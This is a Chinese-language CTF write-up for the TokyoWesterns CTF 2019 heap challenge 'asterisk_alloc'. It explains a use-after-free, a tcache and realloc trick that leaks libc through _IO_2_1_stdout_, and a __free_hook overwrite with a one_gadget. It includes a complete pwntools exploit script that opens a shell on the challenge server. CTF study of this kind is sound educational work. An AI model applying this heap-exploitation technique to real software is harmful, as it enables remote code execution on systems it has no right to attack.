0x01 前言

前几天的TokyoWesterns CTF 2019里遇到一道realloc利用的pwn题,比较有意思,这里分享一下解题思路。

题目下载:
链接:https://pan.baidu.com/s/18GQV--52KzWau2AYN99xIA 密码:hbmc

0x02 分析

保护全开

[*] '/pwn/asterisk_alloc'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

2.27的libc,引入了tcache机制

看到伪代码,提供了malloccallocreallcfree调用

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  initialize();
  while ( 1 )
  {
    print_menu(*(_QWORD *)&argc, argv);
    printf("Your choice: ");
    argv = (const char **)&v3;
    *(_QWORD *)&argc = "%d";
    __isoc99_scanf("%d", &v3);
    getchar();
    switch ( (unsigned int)off_F28 )
    {
      case 1u:
        call_malloc();
        break;
      case 2u:
        call_calloc();
        break;
      case 3u:
        call_realloc();
        break;
      case 4u:
        call_free();
        break;
      case 5u:
        _exit(0);
        return;
      default:
        *(_QWORD *)&argc = "Invalid choice";
        puts("Invalid choice");
        break;
    }
  }
}

reallc这个调用比较有意思,依据传入参数不同,能实现以下4类功能

  1. realloc(0) --> free 清空指针
  2. realloc(new_size < old_size) --> edit
  3. realloc(old_size < new_size) --> extend
  4. realloc(new_size) --> add

malloccallocreallc调用后返回地址分别存放到不同指针

.bss:0000000000202029                 align 10h
.bss:0000000000202030                 public ptr_r
.bss:0000000000202030 ; void *ptr_r
.bss:0000000000202030 ptr_r           dq ?                    ; DATA XREF: call_realloc+4C↑r
.bss:0000000000202030                                         ; call_realloc+5E↑w ...
.bss:0000000000202038                 public ptr_m
.bss:0000000000202038 ; void *ptr_m
.bss:0000000000202038 ptr_m           dq ?                    ; DATA XREF: call_malloc+17↑r
.bss:0000000000202038                                         ; call_malloc+6E↑w ...
.bss:0000000000202040                 public ptr_c
.bss:0000000000202040 ; void *ptr_c
.bss:0000000000202040 ptr_c           dq ?                    ; DATA XREF: call_calloc+17↑r
.bss:0000000000202040                                         ; call_calloc+62↑w ...

free函数,依据传入参数分别free掉malloccallocreallc申请的堆块,没清空指针,存在UAF

unsigned __int64 call_free()
{
  char v1; // [rsp+7h] [rbp-9h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Which: ");
  __isoc99_scanf("%c", &v1);
  getchar();
  switch ( v1 )
  {
    case 'm':
      free(ptr_m);
      break;
    case 'c':
      free(ptr_c);
      break;
    case 'r':
      free(ptr_r);
      break;
    default:
      puts("Invalid choice");
      break;
  }
  return __readfsqword(0x28u) ^ v2;
}

0x03 Leak libc

为了绕过tcache,需要delete 7次 chunk2,realloc(0)之后chunk2进入unsorted bin

chunk1 size 0x70

chunk2 size 0x100

chunk3 size 0xe0

此时,chunk2的fd、bk指向main_arena

Tcachebins[idx=15, size=0x100] --> chunk2 --> main_arena

将chunk2的fd低16位改到_IO_2_1_stdout_,由于能确定低12位,有1/16的概率成功

.data:00000000003EC756                 db    0
    .data:00000000003EC757                 db    0
    .data:00000000003EC758                 dq offset _IO_file_jumps
    .data:00000000003EC760                 public _IO_2_1_stdout_
    .data:00000000003EC760 _IO_2_1_stdout_ db  84h                 ; DATA XREF: LOAD:0000000000008D18↑o
    .data:00000000003EC760                                         ; .data:00000000003EC6E8↑o ...
    .data:00000000003EC761                 db  20h
    .data:00000000003EC762                 db 0ADh
    .data:00000000003EC763                 db 0FBh

还需要绕过几个check

这样就leak出libc地址

0x04 get shell~

后面就是改free_hook到one_gadget拿shell的常规做法了,完整的EXP:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys

# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"

context.log_level = "debug"
elf = ELF("./asterisk_alloc",checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    if context.arch == "i386":
        libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    s = process("./asterisk_alloc")
elif DEBUG == 2:
    if context.arch == "i386":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 asterisk_alloc")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 asterisk_alloc")
    elif context.arch == "amd64":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 asterisk_alloc")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 asterisk_alloc")
    s = process("./asterisk_alloc")
elif DEBUG == 3:
    libc = ELF("./libc-cd7c1a035d24122798d97a47a10f6e2b71d58710aecfd392375f1aa9bdde164d.so.6",checksec=False)
    ip = "ast-alloc.chal.ctf.westerns.tokyo" 
    port = 10001
    s = remote(ip,port)

def clean():
    s.close()

    if DEBUG == 2:
        if context.arch == "i386":
            os.system("patchelf --set-interpreter /lib/ld-linux.so.2 asterisk_alloc")
            os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 asterisk_alloc")
        if context.arch == "amd64":
            os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 asterisk_alloc")
            os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 asterisk_alloc")

def menu(x):
    s.sla("choice: ", str(x))

'''
realloc(0) --> free 清空指针
realloc(new_size < old_size) --> edit
realloc(old_size < new_size) --> extend
realloc(new_size) --> new
'''
# x:
# 1. malloc
# 2. calloc
# 3. realloc
def add(x, size, data):
    menu(x)
    s.sla("Size: ", str(size))
    s.sa("Data: ", data)

# x:
# 'm'. malloc
# 'c'. calloc
# 'r'. realloc
def delete(x):
    menu(4)
    s.sla("Which: ", x)

def pwn():
    add(3, 0x70, 'AAAA')
    add(3, 0, '')
    add(3, 0x100, 'BBBB')
    add(3, 0, '')
    add(3, 0xe0, 'CCCC')
    add(3, 0, '')
    add(3, 0x100, 'FFFF')

    for i in range(7):
        delete('r')

    add(3, 0, '')

    add(3, 0x70, 'AAAA')
    add(3, 0x180, chr(0) * 0x78 + p64(0x41) + '\x60\x57')
    #zx(0xBFB)
    add(3, 0, '')

    add(3, 0x100, 'AAAA')
    add(3 , 0, '')

    add(1, 0x100, p64(0xfbad1887) + p64(0) * 3 + "\0")

    s.ru(p64(0xffffffffffffffff))
    s.r(8)
    libc.address = u64(s.r(6) + "\0\0") - 0x3eb780
    free_hook = libc.sym["__free_hook"]
    one_shot = libc.address + 0x4f322
    info("libc.address 0x%x", libc.address)
    info("free_hook 0x%x", free_hook)
    info("one_shot 0x%x", one_shot)

    add(3, 0x180, chr(0) * 0x78 + p64(0x111) + p64(free_hook))
    add(3, 0, '')
    add(3, 0x30, 'DDDD')
    add(3, 0, '')
    add(3, 0x30, p64(one_shot))

    delete('r')

    s.irt()
    #s.clear()
    # TWCTF{malloc_&_realloc_&_calloc_with_tcache}

    '''
    #main_arena改到_IO_2_1_stdout_

    .data:00000000003EC756                 db    0
    .data:00000000003EC757                 db    0
    .data:00000000003EC758                 dq offset _IO_file_jumps
    .data:00000000003EC760                 public _IO_2_1_stdout_
    .data:00000000003EC760 _IO_2_1_stdout_ db  84h                 ; DATA XREF: LOAD:0000000000008D18↑o
    .data:00000000003EC760                                         ; .data:00000000003EC6E8↑o ...
    .data:00000000003EC761                 db  20h
    .data:00000000003EC762                 db 0ADh
    .data:00000000003EC763                 db 0FBh

    #_IO_FILE
    /* Extra data for wide character streams.  */
    struct _IO_wide_data
    {
    wchar_t *_IO_read_ptr;        /* Current read pointer */
    wchar_t *_IO_read_end;        /* End of get area. */
    wchar_t *_IO_read_base;        /* Start of putback+get area. */
    wchar_t *_IO_write_base;        /* Start of put area. */
    wchar_t *_IO_write_ptr;        /* Current put pointer. */
    wchar_t *_IO_write_end;        /* End of put area. */
    wchar_t *_IO_buf_base;        /* Start of reserve area. */
    wchar_t *_IO_buf_end;                /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    wchar_t *_IO_save_base;        /* Pointer to start of non-current get area. */
    wchar_t *_IO_backup_base;        /* Pointer to first valid character of
                                    backup area */
    wchar_t *_IO_save_end;        /* Pointer to end of non-current get area. */
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
    };

    #__free_hook改one_gadget
    .bss:00000000003ED8E6                 db    ? ;
    .bss:00000000003ED8E7                 db    ? ;
    .bss:00000000003ED8E8                 public __free_hook ; weak
    .bss:00000000003ED8E8 __free_hook     db    ? ;               ; DATA XREF: LOAD:00000000000053A0↑o
    .bss:00000000003ED8E8                                         ; .got:__free_hook_ptr↑o
    .bss:00000000003ED8E9                 db    ? ;
    .bss:00000000003ED8EA                 db    ? ;
    .bss:00000000003ED8EB                 db    ? ;

    #one_gadget
    0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
    rcx == NULL

    0x4f322 execve("/bin/sh", rsp+0x40, environ)
    constraints:
    [rsp+0x40] == NULL

    0x10a38c    execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL
    '''

if __name__ == "__main__":
    pwn()

pwn~

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖